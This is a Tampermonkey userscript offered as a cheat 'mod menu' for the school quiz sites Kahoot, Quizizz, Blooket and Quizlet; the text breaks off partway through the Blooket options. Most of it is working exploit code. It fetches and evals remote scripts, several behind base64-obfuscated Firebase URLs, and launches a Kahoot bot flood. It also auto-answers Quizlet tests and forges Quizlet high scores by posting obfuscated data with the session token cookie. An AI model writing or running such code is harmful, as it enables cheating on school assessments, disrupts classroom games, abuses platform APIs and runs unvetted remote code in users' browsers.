Kahoot,quizezz,blooket and quizlet mod menu

This is a mod for school games this is very early beta!!please wait for more updates!

  1. // ==UserScript==
  2. // @name Kahoot,quizezz,blooket and quizlet mod menu
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.0
  5. // @description This is a mod for school games this is very early beta!!please wait for more updates!
  6. // @author Rylan Rude
  7. // @match https://blooket.com/*
  8. // @match https://quizlet.com/*
  9. // @match https://quizezz.com/*
  10. // @match https://kahoot.it/*
  11. // @match https://play.kahoot.it/v2*
  12. // @grant GM_xmlhttpRequest
  13. // @run-at document-idle
  14. // @license MIT
  15. // ==/UserScript==
  16.  
  17. let firstprompt = prompt("Which hack do you want of these?", "Blooket, Quizizz, Kahoot, Quizlet")
  18.  
  19. if (firstprompt == "Kahoot") {
  20. let kahoottext = prompt("Which hack do you want? (BotFlood by FruedDued)", "BotFlood")
  21. if (kahoottext == "BotFlood")
  22. fetch('https://thatfrueddued.github.io/kahoot-smasher/Kahoot.js').then(function(response) {
  23. response.text().then(function(text) {
  24. eval(text);
  25. });
  26. });
  27. }
  28. if (firstprompt == "Quizlet") {
  29. let quizlettext = prompt("Which one of these do you want?", "Match, Gravity")
  30. if (quizlettext == "Match") {
  31. document.getElementsByClassName("UIButton UIButton--hero")[0].click();
  32. setTimeout(function() {
  33. for (var F = setTimeout(";"), i = 0; i < F; i++) clearTimeout(i)
  34. }, 500);
  35. }
  36. if (quizlettext == "Gravity") {
  37. var gravityScore,
  38. href = window.location.href;
  39. (function() {
  40. initLoad();
  41.  
  42. function initLoad() {
  43. if (href.includes("quizlet.com")) {
  44. if (href.includes("/learn")) {
  45. cAlert('<h2>Game Mode: Learn</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><h4>Instructions:</h4>Just wait for this script to finish!<br><br><button class="UIButton" id="learnButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  46. getId("learnButton")
  47. .addEventListener("click", function() {
  48. document.getElementById("customMessageContainer")
  49. .remove();
  50. learn();
  51. });
  52.  
  53. } else if (href.includes("/flashcards")) {
  54. cAlert('<h2>Game Mode: Flashcards</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><h4>Changelog:</h4>+ Added Match time freeze for regular match and diagrams<br>+ Added Gravity score exploit to get ANY score you want!<br>+ Added custom alert box<br>+ Fixed graphics<br>- Removed useless alert boxes.<h4>Instructions:</h4>Umm why are you here? Go cheat somewhere else...<br><br><button class="UIButton" id="flashcardsButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  55. getId("flashcardsButton")
  56. .addEventListener("click", function() {
  57. document.getElementById("customMessageContainer")
  58. .remove();
  59. });
  60. } else if (href.includes("/write")) {
  61. cAlert('<h2>Game Mode: Write</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><h4>Instructions:</h4>You dont even have to wait,<br> this is my favorite one to watch!<br><br><button class="UIButton" id="writeButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  62. getId("writeButton")
  63. .addEventListener("click", function() {
  64. document.getElementById("customMessageContainer")
  65. .remove();
  66. write();
  67. });
  68. } else if (href.includes("/spell")) {
  69. cAlert('<h2>Game Mode: Spell</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><h4>Instructions:</h4>Nothing! Bypassed having to press enter!<br><br><button class="UIButton" id="spellButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  70. getId("spellButton")
  71. .addEventListener("click", function() {
  72. document.getElementById("customMessageContainer")
  73. .remove();
  74. spell();
  75. });
  76. } else if (href.includes("/test")) {
  77. cAlert('<h2>Game Mode: Test</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><br><h4>Instructions:</h4>Right click to toggle answers.<br>(Be subtle when using)<br><br><button class="UIButton" id="testButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  78. getId("testButton")
  79. .addEventListener("click", function() {
  80. document.getElementById("customMessageContainer")
  81. .remove();
  82. testMode();
  83. });
  84. } else if (href.includes("/micromatch")) {
  85. cAlert('<h2>Game Mode: Micromatch</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><h4>Instructions:</h4>The timer will be paused when at choosen time.<br>The answers will also be highlighted for you.<br>At your leisure, solve the questions.<br><h4>Match Time: </h4><input type="text" id="matchTimeInput" value="0"></input><br><br><button class="UIButton" id="micromatchButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  86. getId("micromatchButton")
  87. .addEventListener("click", function() {
  88. document.getElementById("customMessageContainer")
  89. .remove();
  90. insaneWin("match");
  91. micromatch();
  92. });
  93. } else if (href.includes("/match")) {
  94. cAlert('<h2>Game Mode: Match</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this exploit wouldnt be possible.<br><h4>Instructions:</h4>The timer will be paused when at choosen time.<br>The answers will also be highlighted for you.<br>At your leisure, solve the questions.<br><h4>Match Time: </h4><input type="text" id="matchTimeInput" value="0"></input><br><br><button class="UIButton" id="matchButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  95. getId("matchButton")
  96. .addEventListener("click", function() {
  97. document.getElementById("customMessageContainer")
  98. .remove();
  99. insaneWin("match");
  100. match();
  101. });
  102. } else if (href.includes("/gravity")) {
  103. cAlert('<h2>Game Mode: Gravity</h2>Thank you for using Jacob.E.J Quizlet Gravity Hacker - INSANE EDITION<br>Without you, this hack wouldnt be possible.<br><h4>Instructions:</h4>Press space when the answer appears in the input area. If you get an answer wrong, press space in the input to continue quickly.<br></h4><br><button class="UIButton" id="gravityButton" type="button"><span class="UIButton-wrapper"><span>Inject</span></span></button>');
  104. getId("gravityButton")
  105. .addEventListener("click", function() {
  106. document.getElementById("customMessageContainer")
  107. .remove();
  108. insaneWin("gravity");
  109. gravity();
  110. });
  111.  
  112. } else {}
  113. }
  114.  
  115. function testMode() {
  116. var question = getClass("TermText notranslate lang-en");
  117. for (var i = 0; i < question.length; i++) {
  118. question[i].innerHTML += '<br><small style="font-weight: bold; display: block;" class="answers">' + findAnswerGlobal(question[i].innerHTML) + "</small>";
  119. }
  120. window.oncontextmenu = function(e) {
  121. e.preventDefault();
  122. var answer = getClass("answers");
  123. if (answer[0].style.display == "block") {
  124. for (var i = 0; i < answer.length; i++) {
  125. answer[i].style.display = "none";
  126. }
  127. } else {
  128. for (var i = 0; i < answer.length; i++) {
  129. answer[i].style.display = "block"
  130. }
  131. }
  132. }
  133. }
  134.  
  135. function gravity() {
  136. var createListener = true;
  137. var input = getClass("GravityTypingPrompt-input js-keymaster-allow")[0];
  138. if (input) {
  139. input.addEventListener("keypress", function(e) {
  140. if (e.which == "32" && getClass("GravityTerm-content")[0]) {
  141. setTimeout(function() {
  142. submit();
  143. }, 10);
  144. }
  145. });
  146. }
  147.  
  148. setInterval(function() {
  149. input = getClass("GravityTypingPrompt-input js-keymaster-allow")[0];
  150. if (createListener && input) {
  151. createListener = false;
  152. input.addEventListener("keypress", function(e) {
  153. if (e.which == "32" && getClass("GravityTerm-content")[0]) {
  154. setTimeout(function() {
  155. submit();
  156. }, 10);
  157. }
  158. });
  159. }
  160. if (input && getClass("GravityTerm-content")[0]) {
  161. input.focus();
  162. input.value = findAnswerGlobal(getClass("GravityTerm-content")[0].innerText.trim());
  163. } else {
  164. createListener = true;
  165. if (getClass("GravityCopyTermView-input")[0]) {
  166. getClass("GravityCopyTermView-input")[0].value = getClass("TermText notranslate lang-en")[1].innerHTML;
  167. }
  168. }
  169. }, 100);
  170.  
  171. function submit() {
  172. input = getClass("GravityTypingPrompt-input js-keymaster-allow")[0];
  173. if (input) {
  174. input.focus();
  175. var keyEvent = new KeyboardEvent("keydown", {
  176. bubbles: true,
  177. cancelable: true,
  178. char: "Enter",
  179. key: "Enter",
  180. shiftKey: false,
  181. keyCode: 13,
  182. which: 13
  183. });
  184. input.dispatchEvent(keyEvent);
  185. }
  186. }
  187.  
  188.  
  189. /* VARIABLES CHANGE IN UNKNOWN WAY
  190. window.QJP[3][1].tfdH(
  191.  
  192. window.Quizlet.gravityModeData,
  193.  
  194. {},
  195.  
  196. function n(a) {
  197. if (t[a])
  198. return t[a].exports;
  199. var o = t[a] = {
  200. i: a,
  201. l: !1,
  202. exports: {}
  203. };
  204. return e[a].call(o.exports, o, o.exports, n),
  205. o.l = !0,
  206. o.exports
  207. }
  208. );
  209. */
  210.  
  211. /* PATCHED
  212. var t = window.QJP([], [], ["hyek"]).a,
  213. n = t.grader.grade.bind(t.grader);
  214. t._startGame(), t.dataMap = t.dataMap.update("points", function(t) {
  215. return gravityScore;
  216. });
  217. for (var o = 0; o < 99; o++) t._advanceLevel();
  218.  
  219. function s(e) {
  220. t.grader.grade = function(e, t, n) {
  221. return !0;
  222. }, e(), t.grader.grade = n
  223. }
  224. s(function() {
  225. console.log(null);
  226. });
  227. var a = t._promptCopyAnswer.bind(t);
  228. t._promptCopyAnswer = function(e) {
  229. a(e), setTimeout(function() {
  230. s(function() {
  231. t._checkCopiedAnswer({
  232. liveTermId: e,
  233. answer: ""
  234. });
  235. });
  236. }, 0);
  237. };
  238. */
  239. }
  240.  
  241. function write() {
  242. //This is sad... but works better...
  243. var remaining = parseInt(document.getElementsByClassName("LearnModeProgressBar-value")[0].innerHTML);
  244. for (var i = 0; i < remaining; i++) {
  245. getId("user-answer")
  246. .value = Math.random();
  247. getId("js-learnModeAnswerButton")
  248. .click();
  249. getClass("js-learnModeOverrideIncorrect")[0].click();
  250. }
  251. /*
  252. var buttons = document.querySelectorAll("button"),
  253. span = document.querySelectorAll("span");
  254.  
  255. if (getId("user-answer")) {
  256. getId("user-answer").disabled = true;
  257. getId("user-answer").value = findAnswerGlobal(getClass("qDef lang-en TermText")[0].innerHTML);
  258. for (var i = 0; i < buttons.length; i++) {
  259. if (buttons[i].childNodes[0].innerHTML == "Answer") {
  260. buttons[i].click();
  261. }
  262. }
  263. try {
  264. for (var i = 0; i < span.length; i++) {
  265. if (span[i].childNodes[0].childNodes[0].innerHTML == "Override: I was right") {
  266. span[i].click;
  267. }
  268. }
  269. } catch (e) {}
  270. write();
  271. } else {
  272. for (var i = 0; i < buttons.length; i++) {
  273. if (buttons[i].innerHTML == "Press any key to continue") {
  274. buttons[i].click();
  275. } else if (buttons[i].innerHTML == "Start Over") {
  276. return 1;
  277. }
  278. }
  279. setTimeout(write, 0);
  280. }
  281. */
  282. }
  283.  
  284. function spell() {
  285. if (getClass("SpellModeControls-progressValue")[0].innerHTML == "100%") {
  286. return 1;
  287. }
  288.  
  289. try {
  290. if (getId("js-spellInput")
  291. .style.visibility == "visible") {
  292. getId("js-spellInput")
  293. .value = findAnswerGlobal(getClass("qDef lang-en TermText")[0].innerHTML);
  294. submit();
  295. setTimeout(spell, 10);
  296. }
  297. } catch (e) {
  298. console.log(e);
  299. setTimeout(spell, 500);
  300. }
  301.  
  302. function submit() {
  303. input = getId("js-spellInput");
  304. if (input) {
  305. input.focus();
  306. var keyEvent = new KeyboardEvent("keydown", {
  307. bubbles: true,
  308. cancelable: true,
  309. char: "Enter",
  310. key: "Enter",
  311. shiftKey: false,
  312. keyCode: 13,
  313. which: 13
  314. });
  315. input.dispatchEvent(keyEvent);
  316. }
  317. }
  318. }
  319.  
  320. function match() {
  321. button = getClass("UIButton UIButton--hero")[0], button && button.click();
  322. setTimeout(function() {
  323. if (getClass("UIModalBody")
  324. .length) {
  325. setInterval = console.log;
  326. } else {
  327. for (let x = setTimeout(";"), i = 0; i < x; i++) {
  328. clearTimeout(i);
  329. }
  330. }
  331.  
  332. function waitForMatch() {
  333. if (getClass("MatchModeQuestionScatterTile") || getClass("MatchModeQuestionGridBoard-tile")) {
  334. for (var F = setTimeout(";"), i = 0; i < F; i++) clearTimeout(i);
  335. var tiles = getClass("MatchModeQuestionScatterTile");
  336. var colors = ["#FF0000", "#FF0000", "#FF6600", "#FF6600", "#FFFF00", "#FFFF00", "#00FF00", "#00FF00", "#00FFFF", "#00FFFF", "#0033FF", "#0033FF", "#FF00FF", "#FF00FF", "#CC00FF", "#CC00FF", "#6E0DD0", "#6E0DD0", "#C0C0C0", "#C0C0C0", "#FFFFFF", "#FFFFFF", "#A52A2A", "#A52A2A", "#F6CFFF", "#F6CFFF", "#CFD9FF", "#CFD9FF", "#FBFFA3", "#FBFFA3", "#FFD1A3", "#FFD1A3", "#710000", "#710000"];
  337. for (var i = 0; i < tiles.length; i++) {
  338. tiles[i].style.backgroundColor = colors[i];
  339. for (var j = 0; j < tiles.length; j++) {
  340. if (tiles[j].childNodes[0].innerHTML == findAnswerGlobal(tiles[j].childNodes[0].innerHTML)) {
  341. tiles[j].style.backgroundColor = colors[i];
  342. }
  343. }
  344. }
  345. clearTimeout(matchLoop);
  346. }
  347. }
  348. }, 500);
  349. }
  350.  
  351. function micromatch() {
  352. button = getClass("UIButton UIButton--hero")[0], button && button.click();
  353. setTimeout(function() {
  354.  
  355. if (getClass("UIModalBody")
  356. .length) {
  357. setInterval = console.log;
  358. } else {
  359. for (let x = setTimeout(";"), i = 0; i < x; i++) {
  360. clearTimeout(i);
  361. }
  362. }
  363. var tiles = getClass("MatchModeQuestionGridTile-text"); //[0].childNodes[0].innerHTML
  364. for (var i = 0; i < tiles.length; i++) {
  365.  
  366. if (getClass("MatchModeQuestionGridTile")[i].classList[1] != "is-selected") {
  367. click(getClass("MatchModeQuestionGridBoard-tile")[i].childNodes[0], "pointerdown");
  368. }
  369. for (var j = 0; j < tiles.length; j++) {
  370. if (tiles[j].childNodes[0].innerHTML == findAnswerGlobal(tiles[i].childNodes[0].innerHTML)) {
  371. if (getClass("MatchModeQuestionGridTile")[j].classList[1] != "is-selected") {
  372. click(getClass("MatchModeQuestionGridBoard-tile")[j].childNodes[0], "pointerdown");
  373. j = tiles.length;
  374. }
  375. }
  376. }
  377. }
  378.  
  379. function click(e, t) {
  380. if (e.fireEvent) e.fireEvent("on" + t);
  381. else {
  382. var n = document.createEvent("Events");
  383. n.initEvent(t, !0, !1), e.dispatchEvent(n);
  384. }
  385. }
  386. }, 500);
  387. }
  388.  
  389. function learn() {
  390. if (getClass("ProgressSegmentedSemicircle-percent")[0].innerHTML = "100%") {
  391. return 1;
  392. }
  393. checkCheckbox();
  394. if (getClass("AssistantMultipleChoiceQuestionPromptView-inner")[0] !== undefined) {
  395. var answer = findAnswerGlobal(getClass("FormattedText notranslate TermText lang-en")[0].innerHTML);
  396. var q1 = getClass("FormattedText notranslate TermText lang-en")[1];
  397. var q2 = getClass("FormattedText notranslate TermText lang-en")[2];
  398. var q3 = getClass("FormattedText notranslate TermText lang-en")[3];
  399. var q4 = getClass("FormattedText notranslate TermText lang-en")[4];
  400. if (answer == q1.innerHTML) {
  401. q1.click();
  402. } else if (answer == q2.innerHTML) {
  403. q2.click();
  404. } else if (answer == q3.innerHTML) {
  405. q3.click();
  406. } else if (answer == q4.innerHTML) {
  407. q4.click();
  408. } else {
  409. console.error("ERROR: Unable to find / click answer");
  410. return 0;
  411. }
  412. getClass("UIButton")[4].click();
  413. setTimeout(learn, 10);
  414. } else {
  415. setTimeout(learn, 100);
  416. }
  417. }
  418.  
  419. function checkCheckbox() {
  420. document.getElementsByClassName("UIButton UIButton--whiteBorder UIButton--fill")[0].click();
  421. if (document.getElementsByClassName("UICheckbox-input")[3].checked && document.getElementsByClassName("UICheckbox-input")[2].checked !== true && document.getElementsByClassName("UICheckbox-input")[4].checked !== true) {
  422. document.getElementsByClassName("UIButton UIButton--inverted")[0].click();
  423. return 1;
  424. }
  425. if (document.getElementsByClassName("UICheckbox-input")[4].checked === true) {
  426. document.getElementsByClassName("UICheckbox-input")[4].click();
  427. }
  428. if (document.getElementsByClassName("UICheckbox-input")[2].checked === true) {
  429. document.getElementsByClassName("UICheckbox-input")[2].click();
  430. }
  431. if (document.getElementsByClassName("UICheckbox-input")[3].checked === false) {
  432. document.getElementsByClassName("UICheckbox-input")[3].click();
  433. }
  434. document.getElementsByClassName("UIButton UIButton--inverted")[0].click();
  435. }
  436.  
  437. function findAnswerGlobal(question) {
  438. if (Quizlet.assistantModeData !== undefined) { //Quizlet.assistantModeData.terms
  439. return getAnswer(Quizlet.assistantModeData.terms, question);
  440. } else if (Quizlet.learnGameData !== undefined) { //Quizlet.learnGameData.allTerms
  441. return getAnswer(Quizlet.learnGameData.allTerms, question);
  442. } else if (Quizlet.testModeData !== undefined) { //Quizlet.testModeData.terms
  443. return getAnswer(Quizlet.testModeData.terms, question);
  444. } else if (Quizlet.spellModeData !== undefined) { //Quizlet.spellModeData.spellGameData.termsById
  445. return getAnswer(Quizlet.spellModeData.spellGameData.termsById, question);
  446. } else if (Quizlet.matchModeData !== undefined) { //Quizlet.matchModeData.terms
  447. return getAnswer(Quizlet.matchModeData.terms, question);
  448. } else if (Quizlet.gravityModeData !== undefined) { //Quizlet.gravityModeData.terms
  449. return getAnswer(Quizlet.gravityModeData.terms, question);
  450. } else {
  451. return 0;
  452. }
  453.  
  454. function getAnswer(s, t) {
  455. var e = s;
  456. if (t.indexOf("_") != "-1") {
  457. if (t.slice(-1) == "_") { //Underscore at end
  458. for (var i = 0; i < e.length; i++) {
  459. if (e[i].definition.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")[0]) != "-1") {
  460. return e[i].word;
  461. } else if (e[i].word.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")[0]) != "-1") {
  462. return e[i].definition;
  463. }
  464. }
  465. } else if (t[0] == "_") {
  466. for (var i = 0; i < e.length; i++) { //Underscore at start
  467. if (e[i].definition.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")
  468. .slice(-1)[0]) != "-1") {
  469. return e[i].word;
  470. } else if (e[i].word.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")
  471. .slice(-1)[0]) != "-1") {
  472. return e[i].definition;
  473. }
  474. }
  475. } else {
  476. for (var i = 0; i < e.length; i++) { //Underscore in middle
  477. if (e[i].definition.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")
  478. .slice(-1)[0]) != "-1" && e[i].definition.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")[0]) != "-1") {
  479. return e[i].word;
  480. } else if (e[i].word.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")
  481. .slice(-1)[0]) != "-1" && e[i].word.indexOf(getClass("qDef lang-en TermText")[0].innerHTML.split("_")[0]) != "-1") {
  482. return e[i].definition;
  483. }
  484. }
  485. }
  486. }
  487. var answers = [];
  488. for (var i = 0; i < e.length; i++) {
  489. e[i].definition = e[i].definition.replace("\n", "<br>");
  490. e[i].word = e[i].word.replace("\n", "<br>");
  491. if (t == e[i].word) {
  492. answers.push(e[i].definition);
  493. } else if (t == e[i].definition) {
  494. answers.push(e[i].word);
  495. }
  496. }
  497. return answers[Math.floor(Math.random() * answers.length)];
  498. }
  499. }
  500. }
  501.  
  502. function cAlert(message) {
  503. var html = '<div class="UIModal is-white is-open" id="customMessageContainer" role="document" tabindex="-1"> <div class="UIModal-box"> <div class="UIModalHeader"> <div class="UIModalHeader-wrapper"> <span class="UIModalHeader-close"> <div class="UIModalHeader-closeIconButton"> <span class="UIIconButton"> <button class="UIButton UIButton--inverted" type="button" id="customCloseButton" onclick="document.getElementById(&quot;customMessageContainer&quot;).remove();"> <span class="UIButton-wrapper"> <svg class="UIIcon UIIcon--x-thin"> <noscript></noscript> <use xlink:href="#x-thin"></use> <noscript></noscript> </svg> </span> </button> </span> </div> </span> <div class="UIModalHeader-childrenWrapper"> <h3 class="UIHeading UIHeading--three"><span id="customTitle">Jacobs Quizlet Hacker</span></h3> </div> </div> </div> <div class="UIModalBody"> <div class="UIDiv SetPageEmbedModal-content"> <div> <p class="UIParagraph"><span id="customMessage">' + message + '</span></p></div></div></div></div></div>';
  504. var j = document.createElement('div');
  505. j.innerHTML = html;
  506. document.body.appendChild(j);
  507. }
  508.  
  509. function insaneWin(game) {
  510. var data = {}
  511.  
  512. if (game == "gravity") {
  513. data = {
  514. sessionId: undefined,
  515. score: prompt("Highest possible score is 4294967295.\nScore: ", 4294967295),
  516. previous_record: Quizlet.highscoresModalData.previousRecord,
  517. time_started: Date.now() - 63641,
  518. selectedOnly: false
  519. }
  520. }
  521.  
  522. if (game == "match") {
  523. data = {
  524. score: prompt("Anything lower than 5 won't work.\nTime: ", 5),
  525. previous_record: Quizlet.matchModeData.recordTime,
  526. too_small: 0,
  527. time_started: Quizlet.SERVER_TIME,
  528. selectedOnly: false
  529. }
  530. }
  531.  
  532. var message = {
  533. data: obfuscate(JSON.stringify(data), 77)
  534. };
  535.  
  536. var send = new XMLHttpRequest;
  537. send.open("POST", document.location.href + "/highscores");
  538. send.setRequestHeader("CS-Token", getCookie("qtkn"));
  539. send.setRequestHeader("Accept", "application/json");
  540. send.setRequestHeader("Content-Type", "application/json");
  541. send.send(JSON.stringify(message));
  542. }
  543. })();
  544.  
  545. function getId(id) {
  546. return document.getElementById(id);
  547. }
  548.  
  549. function getClass(id) {
  550. return document.getElementsByClassName(id);
  551. }
  552.  
  553. function getCookie(cname) {
  554. var name = cname + "=";
  555. var decodedCookie = decodeURIComponent(document.cookie);
  556. var ca = decodedCookie.split(';');
  557. for (var i = 0; i < ca.length; i++) {
  558. var c = ca[i];
  559. while (c.charAt(0) == ' ') {
  560. c = c.substring(1);
  561. }
  562. if (c.indexOf(name) == 0) {
  563. return c.substring(name.length, c.length);
  564. }
  565. }
  566. return "";
  567. }
  568.  
  569. //var learnInsertJs = "function figure(match) {termsWord = window.Quizlet.assistantModeData.terms.filter(function z(x) {return x.word == match}); termsDefinition = window.Quizlet.assistantModeData.terms.filter(function z(x) {return x.definition === match}); if (termsWord.length > 0) {return termsWord[0].definition;}; if (termsDefinition.length > 0) {return termsDefinition[0].word;}}; function solve() {input = document.querySelector('#AssistantModeTarget > div > div > div > div.ModeLayout-content > div > span:nth-child(2) > div > div > div.AssistantScrollableViewLayout-content > div > div.AssistantMultipleChoiceQuestionPromptView-promptArea > div > div > div > span').innerHTML; output = figure(input); outs = document.querySelectorAll('.AssistantMultipleChoiceQuestionPromptView-termOptionInner > div > span'); for (var i = 0; i < outs.length; i++) {if (outs[i].innerText === output) {outs[i].click();}}; document.querySelector('#AssistantModeTarget > div > div > div > div.ModeLayout-content > div > span:nth-child(3) > div > div.AssistantFixedActionLayout-action > div > button').click(); if (document.querySelector('#AssistantModeTarget > div > div > div > div.ModeLayout-controls > div > div > div > div.ModeControls-main > div.ModeControls-progress > div > div > div > svg > text.ProgressSegmentedSemicircle-text.ProgressSegmentedSemicircle-progressText > tspan').innerHTML.slice(0, -1) !== '100') {setTimeout(solve, 10);};}; solve();"
  570.  
  571. //backupOptionsSet = "/document.querySelector('#AssistantModeTarget > div > div > div > div.ModeLayout-controls > div > div > div > div.ModeControls-main > div.ModeControls-actions > div > button > span > span').click(); if (document.querySelector('body > div:nth-child(4) > div.UIModal.is-white.is-open > div > div.UIModalBody > div > div:nth-child(3) > div > div > div > div > div > div:nth-child(3) > label > input').checked) {document.querySelector('body > div:nth-child(4) > div.UIModal.is-white.is-open > div > div.UIModalBody > div > div:nth-child(3) > div > div > div > div > div > div:nth-child(3) > label > input').click();}; if (document.querySelector('body > div:nth-child(4) > div.UIModal.is-white.is-open > div > div.UIModalBody > div > div:nth-child(3) > div > div > div > div > div > div:nth-child(1) > label > input').checked) {document.querySelector('body > div:nth-child(4) > div.UIModal.is-white.is-open > div > div.UIModalBody > div > div:nth-child(3) > div > div > div > div > div > div:nth-child(1) > label > input').click();}; document.querySelector('body > div:nth-child(4) > div.UIModal.is-white.is-open > div > div.UIModalHeader > div > span > div > span > button > span').click();/"
  572. /*
  573. function solveLearn() {
  574. script = document.createElement('script');
  575. script.textContent = learnInsertJs;
  576. (document.head||document.documentElement).appendChild(script);
  577. script.remove();
  578. }
  579.  
  580. chrome.runtime.onMessage.addListener(
  581. function(request, sender, sendResponse) {
  582. if (request.run == "write") {
  583. iters = parseInt($(".LearnModeProgressBar-value").html())
  584. for (var i = 0; i < iters; i++) {
  585.  
  586. $("#user-answer")[0].value = "*";
  587. $("#js-learnModeAnswerButton")[0].click();
  588. document.evaluate('//*[@id="js-learnModeInner"]/div[1]/div/div[2]/div/div[2]/span/a', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.click();
  589. }
  590. sendResponse({out: 0});
  591. }
  592. else if (request.run === "learn") {
  593. solveLearn();
  594. sendResponse({out: 0});
  595. }
  596. else {
  597. sendResponse({out: 1});
  598. }
  599. });
  600. */
  601.  
  602. /* Enter Spoof - Works
  603. document.getElementById("user-answer").focus();
  604. var keyEvent = new KeyboardEvent("keydown", {
  605. bubbles: true,
  606. cancelable: true,
  607. char: "Enter",
  608. key: "Enter",
  609. shiftKey: false,
  610. keyCode: 13,
  611. which: 13
  612. });
  613.  
  614. document.getElementById("user-answer").dispatchEvent(keyEvent);
  615. */
  616. }
  617. }
  618. if (firstprompt == "Quizizz") {
  619. fetch("https://raw.githubusercontent.com/gbaranski/quizizz-cheat/oldmethod/dist/bundle.js").then((res) => res.text().then((t) => eval(t)))
  620. }
  621. if (firstprompt == "Blooket") {
  622. let text = prompt("This hack was made by glizzy! Please choose the gamemode out of these:", "global, cafe, kindgom, crypto, factory, fish, gold, race, TD, doom");
  623.  
  624. if (text == "global") {
  625. globalprompt = prompt("Which one out of these?", "token, random, allblooks, answer, spamopen, selldupe")
  626. if (globalprompt == "token")
  627. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nbG9iYWxBZGRUb2tlbnMuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  628. if (globalprompt == "random")
  629. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nbG9iYWxCeXBhc3NOYW1lLmpzb24=')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  630. if (globalprompt == "allblooks")
  631. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nbG9iYWxHZXRBbGxCbG9va3MuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  632. if (globalprompt == "answer")
  633. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nbG9iYWxFdmVyeUFuc3dlckNvcnJlY3QuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  634. if (globalprompt == "spamopen")
  635. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nbG9iYWxTcGFtT3BlbkJveGVzLmpzb24=')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  636. if (globalprompt == "selldupe")
  637. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nbG9iYWxTZWxsRHVwZUJsb29rcy5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  638.  
  639. }
  640. if (text == "cafe") {
  641. cafeprompt = prompt("Which one out of these?", "coins, foodlvl, stock")
  642. if (cafeprompt == "coins")
  643. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9jYWZlR2V0Q29pbnMuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  644. if (cafeprompt == "foodlvl")
  645. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9jYWZlSW5maW5pdGVGb29kTGV2ZWwuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  646. if (cafeprompt == "stock")
  647. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9jYWZlU3RvY2tJbmZpbml0ZUZvb2QuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  648. }
  649.  
  650. if (text == "kingdom") {
  651. kingdomprompt = prompt("Which one out of these?", "ESP, maxres, notax, setguest, skip")
  652. if (kingdomprompt == "ESP")
  653. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9ja0Nob2ljZUVTUC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  654. if (kingdomprompt == "maxres")
  655. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9ja01heFJlc291cmNlcy5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  656. if (kingdomprompt == "notax")
